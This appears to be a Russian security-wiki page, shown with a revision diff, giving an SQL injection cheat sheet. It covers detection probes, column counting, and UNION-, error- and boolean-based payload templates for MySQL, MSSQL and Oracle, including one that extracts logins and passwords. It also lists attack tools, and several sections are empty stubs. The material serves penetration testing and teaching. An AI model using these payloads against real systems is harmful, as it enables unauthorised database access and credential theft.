Sqlinj — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Error-Based)
м (Boolean-Based)
Строка 130: Строка 130:
  
 
====Boolean-Based====
 
====Boolean-Based====
 +
 +
Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос.
 +
 +
 +
=====Определение типа кавычки=====
 +
Смотри "Определение типа кавычки" в UNION-Based.
 +
 +
 +
=====Итог=====
 +
 +
Ваш запрос будет выглядеть как
 +
<syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" >
 +
{параметр}{кавычка} AND ({выражение}={запрос}) AND {кавычка}1{кавычка}={кавычка}1
 +
</syntaxhighlight>
 +
 +
Теперь можно хоть делать приведение типов и по 1 букве перебирать значение результата запроса.
 +
 +
=====Особенности=====
 +
 +
Если букв, то лучше всего реализовать бинарный поиск, используя функции, аналогичные CONCAT, ASCII, CHR и тд.
 +
 +
Если целое число, то то же самое, но без функций.
  
 
====Time-Based====
 
====Time-Based====

Версия 12:46, 19 декабря 2018


Вводная

Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.

Как задетектить

SELECT

UNION-Based

Определение типа кавычки

1. Найти точку ввода данных

2. Найти параметр, который возвращает какое-либо из значений.

3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)

 
{параметр} aNd 1=1
{параметр}	aNd	1=1
{параметр}/**/aNd/**/1=1
{параметр} -- {\n} aNd 1=1

{параметр}' aNd '1'='1
{параметр}'	aNd	'1'='1
{параметр}'/**/aNd/**/'1'='1
{параметр}' -- {\n} aNd '1'='1

{параметр}" aNd "1"="1
{параметр}"	aNd	"1"="1
{параметр}"/**/aNd/**/"1"="1
{параметр}" -- {\n} aNd "1"="1

(Если сработал первый пример, то {кавычка}==={пустое место} :)


Знак комментария и количество скобок

После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):

{параметр}{кавычка} -- 1
{параметр}{кавычка}) -- 1
{параметр}{кавычка})) -- 1
{параметр}{кавычка})...) -- 1

{параметр}{кавычка} # 1
{параметр}{кавычка}) # 1
{параметр}{кавычка})) # 1
{параметр}{кавычка})...) # 1
Подбор количества колонок
GROUP BY

Есть у MySQL,(добавить).

Возвращает данные, если колво колонок меньше или равно N (бинарным поиском).

{параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий}


ORDER BY

Есть у MySQL,(добавить).

Аналогично GROUP BY.

Bruteforce
{параметр}{кавычка}{скобочки} UNION SELECT null,...,null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
{параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}

Также в некоторых случаях перед комментарием надо будет добавить имя существующей колонки:

FROM dual
Итоговый запрос

Суть заключается в том, что вы можете сделать select запрос в произвольную доступную таблицу и получить результат, но уже в другом поле.

Стоит упомянуть, что тут ужлучше всего использовать такой параметр, который будет заведомо ложным и ничего не вернет.

{параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
Обратить внимание

В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД).

LIMIT 1
LIMIT 0,1
WHERE ROWNUM=1


Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать.

Error-Based

Возможность использовать специальные функции, возвращающие в видимой нам ошибке stderr уже преобразованный аргумент. Начинается эксплуатация так же, как и UNION-Based или Boolean-Based (зависит от того, получится ли раскрутить слепую UNION).

SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2)x GROUP BY MID({запрос}, FLOOR(RAND(33)*2), 64)
SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT ({запрос})i)a
SELECT !(SELECT * FROM(SELECT USER())x)-~0
SELECT ST_LatFromGeoHash(VERSION());         //появилось в MySQL >= 5.7.5
SELECT ST_LongFromGeoHash(VERSION());
SELECT ST_PointFromGeoHash(VERSION(),0);
select convert(int,@@version);       //MSSQL
select cast(version() as numeric);
select XMLType((select substr(version,1,1) from v$instance)) from users;          //oracle, посимвольно
select * from table where id = 1 and(1)=(select upper(xmltype('<::'|(select rawtohex(login||'::'||password)from(select login,password from users a)where rnum=1)||'>')))from dual);

Надо еще добавить

Boolean-Based

Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос.


Определение типа кавычки

Смотри "Определение типа кавычки" в UNION-Based.


Итог

Ваш запрос будет выглядеть как

{параметр}{кавычка} AND ({выражение}={запрос}) AND {кавычка}1{кавычка}={кавычка}1

Теперь можно хоть делать приведение типов и по 1 букве перебирать значение результата запроса.

Особенности

Если букв, то лучше всего реализовать бинарный поиск, используя функции, аналогичные CONCAT, ASCII, CHR и тд.

Если целое число, то то же самое, но без функций.

Time-Based

auth

INSERT

DELETE

UPDATE

EXEC

Как проэксплуатировать

Общее

MySQL

OracleDB

PostgreSQL

SQLite3

IBM DB2

Ссылки

Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt


 Мануал на Рдот - один из лучших.

https://rdot.org/forum/showthread.php?t=124


TOOLS 

SQLMap (crossplatform)

Havij (win)

http://sqlninja.sourceforge.net/sqlninja-howto.html

https://code.google.com/p/bsqlbf-v2/

https://github.com/Neohapsis/bbqsql